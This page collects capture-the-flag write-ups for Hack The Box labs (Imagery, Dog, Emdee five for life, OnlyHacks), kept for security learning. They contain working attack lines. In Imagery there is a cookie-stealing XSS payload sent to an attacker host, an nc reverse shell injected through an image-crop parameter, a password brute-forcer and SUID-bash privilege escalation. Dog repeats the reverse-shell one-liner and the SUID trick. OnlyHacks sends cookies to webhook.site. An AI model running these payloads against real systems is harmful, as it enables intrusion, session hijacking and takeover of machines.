Tag: HTB

  • Imagery


    Summary

    Imagery is a Linux machine that was released on Sep 27th 2025. It challenges users to exploit multiple common flaws, such as XSS, LFI, and Command Injection, with a heavy emphasis on utilizing Python scripting.


    Write-up

    Foot Hold

    As always, let’s start with a ports scan.

    sudo nmap -v -sCV -T4 -oN nmap_imagery <IP>

    There’s a webserver on port 8000. The header also specify Werkzeug and python so this is most likely be Flask framework. Keep this in might we will need it later.

    Looking at the website there are a Login and Register page.

    After testing some basic authentication bypass, SQL/NoSQL injection with the login page I decided that it’s not vulnerable. So we move on to Register a user.

    After logged in i noticed this response from the server

    So I tried to create another user and injecting the isAdmin and isTestuser into the POST request but it doesn’t work.

    There’s also a function to upload picture.

    Since this is a Flask Framework it’s likely not running php. But I did try some file upload bypass. Unfortunately the web app did a very good job sanitize user input.

    However because Title and Description also take user input. We should also test for XSS.

    Notice that there is no reflection on the left picture compare to the normal one on the right. So there must be some sanitize from the server side.

    Scrolling down to the footer of the page there’s a new Report Bug function

    Even though there’s input sanitization in the upload functions the dev might forgot to do the same here. This could be a potential place to test for Stored XXS.

    We will use this payload to steal the admin’s cookie:

    <img src=x onerror=this.src='http://<Attacker_IP>/?c='+document.cookie>

    But first we have to set up a simple webserver to catch it:

    python3 -m http.server 80

    And voila

    Replace that cookie into our browser and we got access to the admin pannel

    Intercept the Download Log function and with some test I found a LFi vulnerable

    Remember that we identify this is a Flask app earlier? So Flask usually have some common file like app.py, run.py or config.py. You could make a guess or FUZZ these files with ffuf or GoBuster. Just remember to specify the .py extension.

    On the app.py file we can see a list of external libraries that the app use

    Take a look at api_edit.py and config.py we found something quite interest

    @bp_edit.route('/apply_visual_transform', methods=['POST'])
    ...
    ...
    ...
            if transform_type == 'crop':
                x = str(params.get('x'))
                y = str(params.get('y'))
                width = str(params.get('width'))
                height = str(params.get('height'))
                command = f"{IMAGEMAGICK_CONVERT_PATH} {original_filepath} -crop {width}x{height}+{x}+{y} {output_filepath}"
                subprocess.run(command, capture_output=True, text=True, shell=True, check=True)

    Because this uses shell=True with string concatenation, user-controlled values (x, y, width, height) can be injected into the shell command.

    Now we have to find a user that can use that function. There’s a database that’s specify in the config.py

    Looking at db.json

    The testuser’s password is saved as md5 hash, we could crack it with:

    hashcat -m 0 <Hash> /usr/share/wordlists/rockyou.txt

    After that we login as testuser, upload a picture, click on Transform Image and Crop. Then intercept the request.

    We will set up a listener then inject this reverse shell payload into the y variable:

    rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <IP> <PORT> >/tmp/f

    There is an interest file in /var/backup

    Transfer that file back to our machine and identify it with the file command:

    This zip file were encrypted using  AES256-CBC. So I’ve wrote this script to decrypt the file:

    #!/usr/bin/env python3
    """
    Simple tester for pyAesCrypt AES-Crypt v2 files using a wordlist.
    Usage:
        python3 brute_pyaescrypt.py \
          --infile web_20250806_120723.zip.aes \
          --wordlist /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt
    """
    import argparse
    import pyAesCrypt
    import os
    import zipfile
    import sys
    import tempfile
    
    BUFFER = 64 * 1024
    
    def try_password(infile, outpath, pw):
        try:
            pyAesCrypt.decryptFile(infile, outpath, pw, BUFFER)
            # Validate as zip
            if zipfile.is_zipfile(outpath):
                return True
            else:
                # Not valid, remove temp file
                try:
                    os.remove(outpath)
                except OSError:
                    pass
                return False
        except Exception:
            # Remove partial output if any
            try:
                if os.path.exists(outpath):
                    os.remove(outpath)
            except OSError:
                pass
            return False
    
    
    def main():
        ap = argparse.ArgumentParser()
        ap.add_argument('--infile', required=True)
        ap.add_argument('--wordlist', required=True)
        ap.add_argument('--encoding', default='latin-1', help='wordlist decoding (default latin-1)')
        args = ap.parse_args()
    
        infile = args.infile
        if not os.path.exists(infile):
            print("Input file not found:", infile); sys.exit(2)
        if not os.path.exists(args.wordlist):
            print("Wordlist not found:", args.wordlist); sys.exit(2)
    
        print("Wordlist:", args.wordlist)
        print("Input:", infile)
        tried = 0
        with open(args.wordlist, 'r', encoding=args.encoding, errors='ignore') as f:
            for line in f:
                pw = line.rstrip('\n\r')
                tried += 1
                if tried % 5000 == 0:
                    print(f"tried {tried} passwords...", flush=True)
                # use a temp file per attempt
                with tempfile.NamedTemporaryFile(prefix='pyaes_try_', delete=False) as tmp:
                    tmpname = tmp.name
                if try_password(infile, tmpname, pw):
                    print("\n*** FOUND password:", pw)
                    print("Decrypted file saved as:", tmpname)
                    # optionally move to useful name
                    out_zip = os.path.splitext(infile)[0] + ".zip"
                    try:
                        os.replace(tmpname, out_zip)
                        print("Renamed to:", out_zip)
                    except Exception:
                        pass
                    return
                # remove temp file
                try:
                    if os.path.exists(tmpname):
                        os.remove(tmpname)
                except OSError:
                    pass
    
        print("Finished — no password found in the provided wordlist.")
    
    if __name__ == '__main__':
        main()

    After extracted the archive we can see that this a backup of the webapp. Checking db.json again we found another user.

    We will attempt to crack mark’s password using the same technique above

    After getting Mark’s password we can login using the same reverse shell with this command:

    su Mark

    Note: You have to upgrade the shell to full TTY so you can type in the password

    The app will ask for a master password but since we don’t know what it is. We will attempt to reset it with this:

    Since this a custom app, you won’t find any documentation online. We will have to rely on the help option

    This line look interested because it said shell_command. So we might be able to use some system commands if we set up a Cron job.

    sudo /usr/local/bin/charcol shell
    
    auto add --schedule "* * * * *" --command "chmod +s /bin/bash" --name "PricEsc"

    And we got root!

  • Emdee five for life

    Summary

    In this Hack The Box challenge, you’ll sharpen your Python skills. Your task is to write a Python script that connects to a service, extracts a specific string, calculates its MD5 hash, and sends the hash back, all within a single session and a strict time limit.

    Write-Up

    We first try to send the Md5 hash of the string back with this command

    echo '<String>' | md5sum

    But instead we got a mocking message and another string

    Analyze the response we can see that the website only allow us 5 seconds to get the string, hash it and send it back, all within the same session.

    So I wrote this python script to get the flag:

    import sys
    import requests
    from bs4 import BeautifulSoup
    import hashlib
    
    if len(sys.argv) <= 1:
        print("Usage: " + sys.argv[0] + " http://URL")
        sys.exit(1)
    else:
        url = sys.argv[1]
    
    # Send the first GET request with Persistent session
    session=requests.session()
    response = session.get(url)
    
    # Extract the string
    soup = BeautifulSoup(response.text, "html.parser")
    h3 = soup.find("h3",{"align": "center"})
    
    # MD5 hash the string
    hash=hashlib.md5((h3.get_text(strip=True)).encode()).hexdigest()
    
    
    # Make the POST payload
    payload = {
            "hash": hash
            }
    
    # Send the payload
    response2 = session.post(url, data=payload)
    
    # Extract the Flag from the response
    soup2 = BeautifulSoup(response2.text, "html.parser")
    print(soup2)
    flag = soup2.find("p", {"align":"center"})
    
    
    print("Flag: " + flag.get_text(strip=True))
    

    Note: there might be some delay between you and the server so run it again if it doesn’t work the first time.

  • Dog

    Summary

    Dog is a Linux machine that was released on 08 Mar 2025, that focuses on foundational enumeration and exploitation techniques.

    Write-up

    Let do a quick nmap to scan for open ports

    sudo nmap -sCV -p- -T4 -oN nmap_dog <IP>

    We can see that a web server is running on port 80 and a Git repository is present. The robots.txt file also discloses some directories. After further investigation, I found that the version of Backdropcms is 1.27.1, located at http://<IP>/core/profiles/testing/testing.info.

    Version 1.27.1 is vulnerable to Authenticated Remote Command Execution (RCE), as documented at https://www.exploit-db.com/exploits/52021. Now, let’s hunt for a valid credentials.

    Browsing the website I found these 2 potential usernames.

    Let’s move on to the Git repository. We will use this tool to download the repository: https://github.com/arthaud/git-dumper.

    After you finish downloading the repository, I recommend opening the folder in VS Code. This will improve readability and searchability.

    This could be the password we are looking for. Let’s see if we can find any other usernames. Based on the support account, we can use @dog.htb as the search string.

    And voilà, tiffany:Ba************024 is a valid credential. Now, let’s follow the instructions of the exploit to obtain a webshell. Remember to compress it into a .tar file.

    We will use this command to obtain a reverse shell:

    rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <IP> <PORT> >/tmp/f

    Note: You need to be quick, as the web server will delete the module after a few minutes.

    Looking at the /etc/passwd we found two new usernames jobert and johncusack

    We’re unable to progress further, so let’s try reusing the password Ba**********024 for other users. And indeed, johncusack:Ba*********024 works.

    sudo -l and we found an interesting binary:

    Checking the status we got this error:

    The application is running at /var/www/html

    Notice this function:

    Let put this script in the /tmp and call it

    <?php
    
    $output = shell_exec('ls');
    
    echo "<pre>$output</pre>";
    
    ?>

    Now let modify the script as follow:

    <?php
    
    $output = shell_exec('chmod +s /bin/bash');
    
    echo "<pre>$output</pre>";
    
    ?>

    Now call it with /bin/bash -p to get root and read the flag

  • OnlyHacks

    Summary

    This Valentine’s-themed web challenge focuses on exploiting Cross-Site Scripting (XSS) to steal a cookie, hijack an account, and retrieve the flag.

    Write-up

    This image has an empty alt attribute; its file name is image.png

    The login page appears resistant to basic SQL injection and authentication bypass attempts.

    We will move on with the Sign Up function.

    This image has an empty alt attribute; its file name is image-1.png

    The signup process, however, requires a profile picture upload, which presents a potential vulnerability.

    Moving on the the Dashboard.

    This image has an empty alt attribute; its file name is image-2.png

    Upon reaching the dashboard, swiping through profiles reveals usernames, not nicknames, as indicated in dashboard.js. This suggests two possible attack vectors: XSS within the chat functionality or exploiting a web Large Language Model (LLM) integrated into the chatbot.

    This image has an empty alt attribute; its file name is image-3-1024x538.png
    This image has an empty alt attribute; its file name is image-4.png

    I initially pursued the web LLM angle, influenced by my experience with tools like ChatGPT and Gemini. However, this proved to be a misdirection. The challenge actually involves a simpler XSS vulnerability.

    Let try some basic XXS with:

    <script>alert(1)</script>

    This image has an empty alt attribute; its file name is image-5-1024x536.png

    We’ve confirmed the XSS vulnerability. Now, let’s craft a payload to steal cookies.

    <script>fetch('https://webhook.site/b7e66...',{method: 'POST', mode: 'no-cors', body:document.cookie}); </script>

    Or

    <script>document.location="https://webhook.site/b7e66.../?cookie="+document.cookie</script>

    This image has an empty alt attribute; its file name is image-6.png

    Replace the cookie we got and refresh the page to get the flag.

    This image has an empty alt attribute; its file name is image-7.png